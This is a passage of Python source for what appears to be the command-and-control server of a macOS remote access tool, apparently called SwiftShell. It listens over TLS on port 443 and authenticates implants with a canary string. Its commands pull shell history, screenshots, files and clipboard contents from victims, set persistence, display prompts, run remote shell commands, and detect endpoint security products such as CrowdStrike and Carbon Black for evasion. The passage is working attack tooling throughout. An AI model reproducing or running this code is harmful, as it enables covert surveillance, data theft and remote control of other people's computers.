| print("\033[92m[+] Current directory changed to %s" % str(z)) 477 | else: 478 | print("Directory not found.") 479 | 480 | elif 'addresses' in command: 481 | connection.send(command.encode('utf8')) 482 | w = connection.recv(1024) 483 | print('IP address(es) found:') 484 | z = w.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", '\n') 485 | print("\033[92m%s\033[0m" % str(z)) 486 | elif 'listusers' in command: 487 | connection.send(command.encode('utf8')) 488 | w = connection.recv(1024) 489 | z = w.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", '\n') 490 | print("\033[92m%s\033[0m" % str(z)) 491 | elif 'userhist' in command: 492 | connection.send(command.encode('utf8')) 493 | data = connection.recv(8192) 494 | 495 | if len(data) < 8192: 496 | file = 'userhist.txt' 497 | f = open("%s" % file, "wb") 498 | f.write(data) 499 | f.close() 500 | print('\033[92m[+] History data saved to "userhist.txt" in current server directory\033[0m') 501 | 502 | else: 503 | while True: 504 | g = connection.recv(8192) 505 | end = bytes('!EOF!', encoding='utf-8') 506 | if end in g: 507 | break 508 | data = data + g 509 | file = 'userhist.txt' 510 | f = open("%s" % file, "wb") 511 | f.write(data) 512 | f.close() 513 | print('\033[92m[+] History data saved to "userhist.txt" in current server directory\033[0m') 514 | 515 | elif 'screenshot' in command: 516 | 517 | connection.send(command.encode('utf8')) 518 | data = connection.recv(8192) 519 | while True: 520 | g = connection.recv(8192) 521 | end = bytes('!EOF!', encoding='utf-8') 522 | if end in g: 523 | break 524 | data = data + g 525 | file = 'screenshot.jpg' 526 | f = open("%s" % file, "wb") 527 | f.write(data) 528 | f.close() 529 | print('\033[92m[+] Screenshot saved to "screenshot.jpg" in current server directory\033[0m') 530 | 531 | elif 'download ' in command: 532 | command2 = command.replace('download ', '') 533 | connection.send(command.encode('utf8')) 534 | data = connection.recv(8192) 535 | denied = bytes('Permission denied', encoding='utf-8') 536 | if denied in data: 537 | print('\033[93m[-] This user does not have permissions to open %s' % str(command2)) 538 | elif len(data) < 8192: 539 | file = "%s" % str(command2) 540 | f = open("%s" % file, "wb") 541 | f.write(data) 542 | f.close() 543 | print('\033[93m[+] %s downloaded and saved to current server directory\033[0m' % str(command2)) 544 | 545 | else: 546 | while True: 547 | g = connection.recv(8192) 548 | end = bytes('!EOF!', encoding='utf-8') 549 | if end in g: 550 | break 551 | data = data + g 552 | file = "%s" % str(command2) 553 | f = open("%s" % file, "wb") 554 | f.write(data) 555 | f.close() 556 | print('\033[93m[+] %s downloaded and saved to current server directory\033[0m' % str(command2)) 557 | 558 | elif 'checksecurity' in command: 559 | connection.send(command.encode('utf8')) 560 | data = connection.recv(8192) 561 | 562 | if len(data) < 8192: 563 | b = 0 564 | 565 | if 'CbOsxSensorService' in str(data): 566 | print('[+] \033[33mCarbon Black OSX Sensor installed\033[0m') 567 | b = 1 568 | 569 | if 'CbDefense' in str(data): 570 | print('[+] \033[33mCarbon Black Defense A/V installed\033[0m') 571 | b = 1 572 | 573 | if ('ESET' in str(data) or '/eset' in str(data)): 574 | print('[+] \033[33mESET A/V installed\033[0m') 575 | b = 1 576 | 577 | if ('Littlesnitch' in str(data) or 'Snitch' in str(data)): 578 | print('[+] \033[33mLittle snitch firewall running\033[0m') 579 | b = 1 580 | 581 | if 'xagt' in str(data): 582 | print('[+] \033[33mFireEye HX agent installed\033[0m') 583 | b = 1 584 | 585 | if 'falconctl' in str(data): 586 | print('[+] \033[33mCrowdstrike Falcon agent installed\033[0m') 587 | b = 1 588 | 589 | if ('GlobalProtect' in str(data) or '/PanGPS' in str(data)): 590 | print('[+] \033[33mGlobal Protect PAN VPN client running\033[0m') 591 | b = 1 592 | 593 | if 'OpenDNS' in str(data): 594 | print('[+] \033[33mOpenDNS Client running\033[0m') 595 | b = 1 596 | 597 | if 'HostChecker' in str(data): 598 | print('[+] \033[33mPulse VPN client running\033[0m') 599 | b = 1 600 | 601 | if b == 0: 602 | print('[-] No security products found.') 603 | 604 | else: 605 | while True: 606 | g = connection.recv(8192) 607 | end = bytes('!EOF!', encoding='utf-8') 608 | if end in g: 609 | break 610 | data = data + g 611 | 612 | if 'CbOsxSensorService' in str(data): 613 | print('[+] \033[33mCarbon Black OSX Sensor installed\033[0m') 614 | b = 1 615 | 616 | if 'CbDefense' in str(data): 617 | print('[+] \033[33mCarbon Black Defense A/V installed\033[0m') 618 | b = 1 619 | 620 | if ('ESET' in str(data) or '/eset' in str(data)): 621 | print('[+] \033[33mESET A/V installed\033[0m') 622 | b = 1 623 | 624 | if ('Littlesnitch' in str(data) or 'Snitch' in str(data)): 625 | print('[+] \033[33mLittle snitch firewall running\033[0m') 626 | b = 1 627 | 628 | if 'xagt' in str(data): 629 | print('[+] \033[33mFireEye HX agent installed\033[0m') 630 | b = 1 631 | 632 | if 'falconctl' in str(data): 633 | print('[+] \033[33mCrowdstrike Falcon agent installed\033[0m') 634 | b = 1 635 | 636 | if ('GlobalProtect' in str(data) or '/PanGPS' in str(data)): 637 | print('[+] \033[33mGlobal Protect PAN VPN client running\033[0m') 638 | b = 1 639 | 640 | if 'OpenDNS' in str(data): 641 | print('[+] \033[33mOpenDNS Client running\033[0m') 642 | b = 1 643 | 644 | if 'HostChecker' in str(data): 645 | print('[+] \033[33mPulse VPN client running\033[0m') 646 | b = 1 647 | 648 | if b == 0: 649 | print('[-] No security products found.') 650 | 651 | elif 'persist' in command: 652 | connection.send(command.encode('utf8')) 653 | y = connection.recv(2048) 654 | z = y.decode('utf8').replace("(0, '", '').replace("')",'') 655 | print("\033[92m%s\033[0m" % str(z)) 656 | elif 'unpersist' in command: 657 | connection.send(command.encode('utf8')) 658 | response = connection.recv(2048) 659 | z = response.decode('utf8').replace("(0, '", '').replace("')",'') 660 | print("\033[92m%s\033[0m" % str(z)) 661 | elif 'prompt' in command: 662 | connection.send(command.encode('utf8')) 663 | w = connection.recv(8192) 664 | z = w.decode('utf8').replace("(0, '", '').replace("')", '') 665 | print(str(z)) 666 | elif 'systeminfo' in command: 667 | connection.send(command.encode('utf8')) 668 | w = connection.recv(1024) 669 | z = w.decode('utf8').replace("(0, '", '').replace("')",'').replace(", ", '\n') 670 | print("\033[92m%s\033[0m" % str(z)) 671 | elif 'clipboard' in command: 672 | connection.send(command.encode('utf8')) 673 | data = connection.recv(8192) 674 | if len(data) < 8192: 675 | f = open('clipboard.txt','w') 676 | f.write(data.decode('utf8').replace("(0, '", '').replace("')",'')) 677 | f.close() 678 | print("\033[93m[+] Clipboard data written to 'clipboard.txt' in the current server directory.\033[0m") 679 | else: 680 | while True: 681 | g = connection.recv(8192) 682 | end = bytes('!EOF!', encoding='utf-8') 683 | if end in g: 684 | break 685 | data = data + g 686 | f = open('clipboard.txt','w') 687 | f.write(data.decode('utf8').replace("(0, '", '').replace("')",'')) 688 | f.close() 689 | print("\033[93m[+] Clipboard data written to 'clipboard.txt' in the current server directory.\033[0m") 690 | elif 'shell ' in command: 691 | connection.send(command.encode('utf8')) 692 | data = connection.recv(8192) 693 | if len(data) < 8192: 694 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n") 695 | print("\033[92m%s\033[0m" % str(z)) 696 | if '80(admin)' in str(z): 697 | print("Your user context likely has sudo rights (based on groups).") 698 | else: 699 | while True: 700 | g = connection.recv(8192) 701 | end = bytes('!EOF!', encoding='utf-8') 702 | if end in g: 703 | break 704 | data = data + g 705 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n") 706 | print("\033[92m%s\033[0m" % str(z)) 707 | if '80(admin)' in str(z): 708 | print("Your user context likely has sudo rights (based on groups).") 709 | else: 710 | print("[-] Command not found") 711 | 712 | if not connection: 713 | break 714 | 715 | 716 | context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) 717 | context.load_cert_chain('ca.pem','ca.key') 718 | host = '0.0.0.0' 719 | port = 443 720 | srvport = port 721 | session = 0 722 | q = Queue() 723 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 724 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 725 | ssock = context.wrap_socket(s, server_side=True) 726 | 727 | try: 728 | ssock.bind((host,port)) 729 | except: 730 | print("Bind failed. Error: %s" % (str(sys.exc_info))) 731 | sys.exit() 732 | 733 | threads = [] 734 | print('') 735 | print('===>Server listening on port %s<====' % str(port)) 736 | print('') 737 | 738 | 739 | while True: 740 | ssock.listen(20) 741 | (connection, (ip,port)) = ssock.accept() 742 | canary = connection.recv(16).decode('utf8') 743 | 744 | if 'SwiftShellR0ckZ!' in canary: 745 | q.put(connection) 746 | session = session + 1 747 | selector = session - 1 748 | conn = q.get(selector) 749 | newthread = ClientThread(ip,port,connection,session,srvport) 750 | threads.append(newthread) 751 | try: 752 | newthread.start() 753 | except: 754 | print("Thread did not start.") 755 | traceback.print_exc() 756 | else: 757 | connection.shutdown(1) 758 | connection.close() 759 | 760 | 761 | 762 | for t in threads: 763 | t.join() 764 | --------------------------------------------------------------------------------